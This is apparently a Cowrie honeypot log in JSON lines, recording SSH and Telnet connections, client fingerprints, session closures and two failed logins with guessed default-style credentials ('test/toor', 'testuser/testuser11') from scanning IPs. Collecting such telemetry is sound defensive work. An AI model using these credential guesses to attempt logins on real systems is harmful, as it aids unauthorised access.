{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:12.594500Z","src_ip":"102.211.152.138","session":"36213843429e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser11","message":"login attempt [testuser/testuser11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:13.056989Z","src_ip":"102.211.152.138","session":"36213843429e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09343194961548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:13.909922Z","src_ip":"103.249.100.206","session":"9c17562f3eb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:14.167359Z","src_ip":"102.211.152.138","session":"36213843429e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38530,"dst_ip":"10.17.0.5","dst_port":23,"session":"f37dc3a87fff","protocol":"telnet","message":"New connection: 103.249.100.206:38530 (10.17.0.5:23) [session: f37dc3a87fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:15.777326Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38804,"dst_ip":"10.17.0.5","dst_port":23,"session":"c567345e35ef","protocol":"telnet","message":"New connection: 103.249.100.206:38804 (10.17.0.5:23) [session: c567345e35ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:15.988779Z"}
{"eventid":"cowrie.session.closed","duration":31.104777336120605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:17.210474Z","src_ip":"103.249.100.206","session":"226afa220b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"19bc59e5a11f","protocol":"telnet","message":"New connection: 103.249.100.206:39488 (10.17.0.5:23) [session: 19bc59e5a11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:17.521254Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":41406,"dst_ip":"10.17.0.5","dst_port":23,"session":"57ca2ac8d86a","protocol":"telnet","message":"New connection: 103.249.100.206:41406 (10.17.0.5:23) [session: 57ca2ac8d86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:19.188065Z"}
{"eventid":"cowrie.session.closed","duration":31.305185079574585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:19.709038Z","src_ip":"103.249.100.206","session":"c93d26eb3596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42828,"dst_ip":"10.17.0.5","dst_port":23,"session":"74544ceee5d6","protocol":"telnet","message":"New connection: 103.249.100.206:42828 (10.17.0.5:23) [session: 74544ceee5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:20.610635Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":59514,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a0bd0561d24","protocol":"ssh","message":"New connection: 178.27.90.142:59514 (159.203.135.109:22) [session: 5a0bd0561d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:22.240945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:22.246823Z","src_ip":"178.27.90.142","session":"5a0bd0561d24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:22.350389Z","src_ip":"178.27.90.142","session":"5a0bd0561d24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"toor","message":"login attempt [test/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:22.799636Z","src_ip":"178.27.90.142","session":"5a0bd0561d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":47450,"dst_ip":"10.17.0.5","dst_port":23,"session":"644abac32577","protocol":"telnet","message":"New connection: 216.238.80.67:47450 (10.17.0.5:23) [session: 644abac32577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:23.423609Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":47472,"dst_ip":"10.17.0.5","dst_port":23,"session":"7829bd1774ec","protocol":"telnet","message":"New connection: 216.238.80.67:47472 (10.17.0.5:23) [session: 7829bd1774ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:23.442196Z"}
{"eventid":"cowrie.session.closed","duration":31.215043783187866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:23.793780Z","src_ip":"103.249.100.206","session":"66706cb8573a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:23.904649Z","src_ip":"178.27.90.142","session":"5a0bd0561d24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":48472,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6a59bc8c8b","protocol":"telnet","message":"New connection: 103.249.100.206:48472 (10.17.0.5:23) [session: 3d6a59bc8c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:24.858772Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":48584,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b342a0e840","protocol":"telnet","message":"New connection: 216.238.80.67:48584 (10.17.0.5:23) [session: c9b342a0e840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:24.867585Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":39858,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b54c1825059","protocol":"telnet","message":"New connection: 185.26.126.47:39858 (159.203.135.109:23) [session: 2b54c1825059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:25.041873Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49928,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dc49c76ffee","protocol":"telnet","message":"New connection: 103.249.100.206:49928 (10.17.0.5:23) [session: 6dc49c76ffee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:26.142766Z"}
{"eventid":"cowrie.session.closed","duration":120.00204181671143,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:26.148594Z","src_ip":"107.182.235.153","session":"93279f955c58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":50234,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c4aa1072f2","protocol":"telnet","message":"New connection: 216.238.80.67:50234 (10.17.0.5:23) [session: 58c4aa1072f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:26.561390Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":50752,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefc6c71cee5","protocol":"telnet","message":"New connection: 103.249.100.206:50752 (10.17.0.5:23) [session: eefc6c71cee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:26.890957Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":51722,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6f8c72d7c19","protocol":"telnet","message":"New connection: 103.249.100.206:51722 (10.17.0.5:23) [session: b6f8c72d7c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:27.856269Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51294,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7e1f587686","protocol":"telnet","message":"New connection: 216.238.80.67:51294 (10.17.0.5:23) [session: 8f7e1f587686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:27.897435Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":51128,"dst_ip":"10.17.0.5","dst_port":23,"session":"917e2a23b3b3","protocol":"telnet","message":"New connection: 103.249.100.206:51128 (10.17.0.5:23) [session: 917e2a23b3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:28.223127Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51522,"dst_ip":"10.17.0.5","dst_port":23,"session":"c54d5e5a066e","protocol":"telnet","message":"New connection: 216.238.80.67:51522 (10.17.0.5:23) [session: c54d5e5a066e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:28.417268Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51086,"dst_ip":"10.17.0.5","dst_port":23,"session":"396676a5fe3c","protocol":"telnet","message":"New connection: 216.238.80.67:51086 (10.17.0.5:23) [session: 396676a5fe3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:28.571889Z"}
{"eventid":"cowrie.session.closed","duration":31.4056077003479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:28.876579Z","src_ip":"103.249.100.206","session":"81f4930267b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51870,"dst_ip":"10.17.0.5","dst_port":23,"session":"489072bb0fc7","protocol":"telnet","message":"New connection: 216.238.80.67:51870 (10.17.0.5:23) [session: 489072bb0fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:29.140587Z"}
{"eventid":"cowrie.session.closed","duration":31.481345653533936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:29.940085Z","src_ip":"103.249.100.206","session":"b6a38468e144","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":52672,"dst_ip":"10.17.0.5","dst_port":23,"session":"19efd271ce40","protocol":"telnet","message":"New connection: 216.238.80.67:52672 (10.17.0.5:23) [session: 19efd271ce40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:30.223158Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55782,"dst_ip":"10.17.0.5","dst_port":23,"session":"80c4673d15b7","protocol":"telnet","message":"New connection: 103.249.100.206:55782 (10.17.0.5:23) [session: 80c4673d15b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:31.145877Z"}
{"eventid":"cowrie.session.closed","duration":31.070234060287476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:31.499051Z","src_ip":"216.238.80.67","session":"99194161c361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.660855293273926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:31.874985Z","src_ip":"103.249.100.206","session":"8cee88ef28a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":52426,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf112739a37a","protocol":"telnet","message":"New connection: 216.238.80.67:52426 (10.17.0.5:23) [session: cf112739a37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:32.889182Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":54978,"dst_ip":"10.17.0.5","dst_port":23,"session":"490b5c9c7d07","protocol":"telnet","message":"New connection: 216.238.80.67:54978 (10.17.0.5:23) [session: 490b5c9c7d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:33.707773Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57540,"dst_ip":"10.17.0.5","dst_port":23,"session":"d408629b87c9","protocol":"telnet","message":"New connection: 103.249.100.206:57540 (10.17.0.5:23) [session: d408629b87c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:33.760530Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":58886,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff3a37cf6c17","protocol":"telnet","message":"New connection: 103.249.100.206:58886 (10.17.0.5:23) [session: ff3a37cf6c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:33.868820Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":55448,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1bd8ebf69e4","protocol":"telnet","message":"New connection: 216.238.80.67:55448 (10.17.0.5:23) [session: e1bd8ebf69e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:34.388601Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":55588,"dst_ip":"10.17.0.5","dst_port":23,"session":"4018a92fe95a","protocol":"telnet","message":"New connection: 216.238.80.67:55588 (10.17.0.5:23) [session: 4018a92fe95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:34.564268Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":58782,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d5de0a96e9c","protocol":"telnet","message":"New connection: 103.249.100.206:58782 (10.17.0.5:23) [session: 6d5de0a96e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:34.808233Z"}
{"eventid":"cowrie.session.closed","duration":31.0769259929657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:34.835002Z","src_ip":"103.249.100.206","session":"4d25392cf575","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0017077922821,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:35.098288Z","src_ip":"182.253.54.171","session":"54ba6096278f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60388,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b21c8b3fb8","protocol":"telnet","message":"New connection: 103.249.100.206:60388 (10.17.0.5:23) [session: d6b21c8b3fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:36.021856Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":57366,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e44e276abfd","protocol":"telnet","message":"New connection: 216.238.80.67:57366 (10.17.0.5:23) [session: 6e44e276abfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:36.078567Z"}
{"eventid":"cowrie.session.closed","duration":31.118304014205933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:37.193696Z","src_ip":"103.249.100.206","session":"1be774c94632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548513650894165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:37.390668Z","src_ip":"103.249.100.206","session":"7e7f366f3b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":13076,"dst_ip":"10.17.0.5","dst_port":23,"session":"da2f1bd3df3f","protocol":"telnet","message":"New connection: 182.253.54.171:13076 (10.17.0.5:23) [session: da2f1bd3df3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:38.268723Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":36520,"dst_ip":"10.17.0.5","dst_port":23,"session":"cffdd5665eec","protocol":"telnet","message":"New connection: 103.249.100.206:36520 (10.17.0.5:23) [session: cffdd5665eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:39.032250Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":12327,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b60e8ee131","protocol":"telnet","message":"New connection: 182.253.54.171:12327 (10.17.0.5:23) [session: 21b60e8ee131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:39.602407Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":37314,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dcc5f0e9aff","protocol":"telnet","message":"New connection: 103.249.100.206:37314 (10.17.0.5:23) [session: 8dcc5f0e9aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:39.826269Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":58304,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a429c75e99","protocol":"telnet","message":"New connection: 103.249.100.206:58304 (10.17.0.5:23) [session: b9a429c75e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:40.465748Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":11310,"dst_ip":"10.17.0.5","dst_port":23,"session":"c11155146ba5","protocol":"telnet","message":"New connection: 182.253.54.171:11310 (10.17.0.5:23) [session: c11155146ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:40.822580Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":32824,"dst_ip":"10.17.0.5","dst_port":23,"session":"c68906858cba","protocol":"telnet","message":"New connection: 216.238.80.67:32824 (10.17.0.5:23) [session: c68906858cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:41.419324Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":32858,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf0e1940217","protocol":"telnet","message":"New connection: 216.238.80.67:32858 (10.17.0.5:23) [session: 7cf0e1940217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:41.468804Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.54.171","src_port":14235,"dst_ip":"10.17.0.5","dst_port":23,"session":"d397cbbbe85d","protocol":"telnet","message":"New connection: 182.253.54.171:14235 (10.17.0.5:23) [session: d397cbbbe85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:41.567221Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":33608,"dst_ip":"10.17.0.5","dst_port":23,"session":"e595d471b25f","protocol":"telnet","message":"New connection: 216.238.80.67:33608 (10.17.0.5:23) [session: e595d471b25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:42.305879Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":36910,"dst_ip":"10.17.0.5","dst_port":23,"session":"75355e5862c7","protocol":"telnet","message":"New connection: 103.249.100.206:36910 (10.17.0.5:23) [session: 75355e5862c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:42.382418Z"}
{"eventid":"cowrie.session.closed","duration":30.96973991394043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:42.834364Z","src_ip":"103.249.100.206","session":"d88d94c1e35a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":33606,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a5c135c0894","protocol":"telnet","message":"New connection: 216.238.80.67:33606 (10.17.0.5:23) [session: 3a5c135c0894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:43.305165Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":41716,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fa0cf742794","protocol":"telnet","message":"New connection: 103.249.100.206:41716 (10.17.0.5:23) [session: 2fa0cf742794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:43.475709Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd00f344ce89","protocol":"telnet","message":"New connection: 103.249.100.206:38200 (10.17.0.5:23) [session: cd00f344ce89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:43.541065Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":33954,"dst_ip":"10.17.0.5","dst_port":23,"session":"54710475ed10","protocol":"telnet","message":"New connection: 216.238.80.67:33954 (10.17.0.5:23) [session: 54710475ed10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:43.580027Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40706,"dst_ip":"10.17.0.5","dst_port":23,"session":"88995a9ada96","protocol":"telnet","message":"New connection: 103.249.100.206:40706 (10.17.0.5:23) [session: 88995a9ada96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:14:43.602610Z"}
